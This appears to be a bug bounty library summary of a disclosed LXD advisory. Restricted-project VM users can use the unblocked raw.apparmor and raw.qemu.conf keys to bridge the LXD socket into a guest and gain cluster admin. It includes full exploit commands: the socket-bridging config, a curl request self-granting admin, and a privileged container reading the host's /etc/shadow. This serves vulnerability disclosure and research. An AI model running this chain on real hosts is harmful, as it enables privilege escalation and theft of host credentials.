# LXD: VM lowlevel restriction bypass via raw.apparmor and raw.qemu.conf

LXD's VM lowlevel forbidden list omits raw.apparmor and raw.qemu.conf, letting a restricted-project VM user bridge the LXD unix socket into the guest and gain cluster admin.

- Payout: Research
- Severity: critical
- Program: LXD
- Found by (vendor credit): Miha Purg
- Found by: mpurg
- Disclosed: 2026-04-10
- CVE: CVE-2026-34177
- Write-up quality: 9/10
- Original: https://github.com/advisories/GHSA-fm2x-c5qw-4h6f
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-fm2x-c5qw-4h6f
- Tags: area:cloud domain:infra impact:privesc impact:rce kind:research platform:ghsa sev:critical tech:linux technique:chained technique:source-review vuln:access-control vuln:misconfiguration vuln:privilege-escalation

**Target:** LXD daemon VM instance config / QEMU AppArmor profile and config override
**Root cause:** isVMLowLevelOptionForbidden in lxd/project/limits/permissions.go hardcodes a forbidden key list that omits raw.apparmor and raw.qemu.conf, so restricted.virtual-machines.lowlevel=block does not block them; both keys are then injected verbatim into the QEMU AppArmor profile and QEMU config.
**Steps:**
1. Admin creates restricted project with `restricted=true` (lowlevel defaults to block) and grants user can_create_instances/can_edit_instances/can_operate_instances.
2. As restricted user: `lxc init ubuntu:22.04 target:poc-069 --vm --project poc-restricted`.
3. `lxc config set target:poc-069 raw.apparmor "  /var/snap/lxd/common/lxd/unix.socket rw," --project poc-restricted`
4. `lxc config set target:poc-069 raw.qemu.conf '[chardev "lxdsock"]\nbackend = "socket"\npath = "/var/snap/lxd/common/lxd/unix.socket"\n\n[device "lxdchan"]\ndriver = "virtserialport"\nchardev = "lxdsock"\nbus = "dev-qemu_serial.0"\nname = "lxd.exploit"' --project poc-restricted`
5. `lxc start target:poc-069 --project poc-restricted`; QEMU connects to the LXD unix socket, exposed as `/dev/virtio-ports/lxd.exploit` in the guest.
6. Inside VM: `socat UNIX-LISTEN:/tmp/lxd.sock GOPEN:/dev/virtio-ports/lxd.exploit &` then `curl --unix-socket /tmp/lxd.sock http://localhost/1.0/auth/groups/vm-operators -X PUT -d '{"permissions":[{"entity_type":"server","url":"/1.0","entitlement":"admin"}]}'`
7. Create privileged container with host root mount and read `/mnt/host/etc/shadow`.
**How found:** Compared isVMLowLevelOptionForbidden against the container equivalent isContainerLowLevelOptionForbidden, noticing raw.apparmor present in the container list but absent from the VM list, then checked which other VM config keys (raw.qemu.conf) were also unlisted and traced their injection paths into AppArmor and QEMU config.
**Exploitation:** Restricted VM user injects an AppArmor rule allowing QEMU rw access to the LXD unix socket plus a QEMU chardev/virtserialport bridging that socket into the guest; a single HTTP PUT through the bridged socket grants the attacker's group the admin entitlement, then a privileged container with host root bind mount yields host root.
**Escalation:** Chained two missing forbidden keys: raw.apparmor to permit socket access, raw.qemu.conf to expose it as virtio-serial; then self-granted admin entitlement to escape to host root via privileged container.
**Insight:** When a security control is a hardcoded denylist, diff it against the sibling control (container vs VM) and against the full set of raw.* config keys the driver actually consumes; any key that reaches a template verbatim is a candidate.

## Proof of concept (copied exactly from the original report)

**raw.apparmor and raw.qemu.conf injection commands**

```
lxc config set ${REMOTE}:${VM} raw.apparmor \
    "  ${SOCKET} rw," --project ${PROJECT}

# Inject QEMU config: chardev connecting to unix socket, exposed as virtio-serial port.
# raw.qemu.conf is also NOT in isVMLowLevelOptionForbidden.
lxc config set ${REMOTE}:${VM} raw.qemu.conf '[chardev "lxdsock"]
backend = "socket"
path = "/var/snap/lxd/common/lxd/unix.socket"

[device "lxdchan"]
driver = "virtserialport"
chardev = "lxdsock"
bus = "dev-qemu_serial.0"
name = "lxd.exploit"' --project ${PROJECT}
```

**HTTP request adding admin entitlement via bridged socket**

```
curl --unix-socket /tmp/lxd.sock http://localhost/1.0/auth/groups/vm-operators \
    -X PUT -H "Content-Type: application/json" \
    -d "{\"description\":\"\",\"permissions\":[{\"entity_type\":\"server\",\"url\":\"/1.0\",\"entitlement\":\"admin\"}]}"
```

**Privileged container mounting host root**

```
lxc init ubuntu:22.04 ${REMOTE}:pwn-root --project default
lxc config set ${REMOTE}:pwn-root security.privileged=true --project default
lxc config device add ${REMOTE}:pwn-root hostroot disk \
    source=/ path=/mnt/host --project default
lxc start ${REMOTE}:pwn-root --project default

# Full host root access
lxc exec ${REMOTE}:pwn-root --project default -- cat /mnt/host/etc/shadow
```

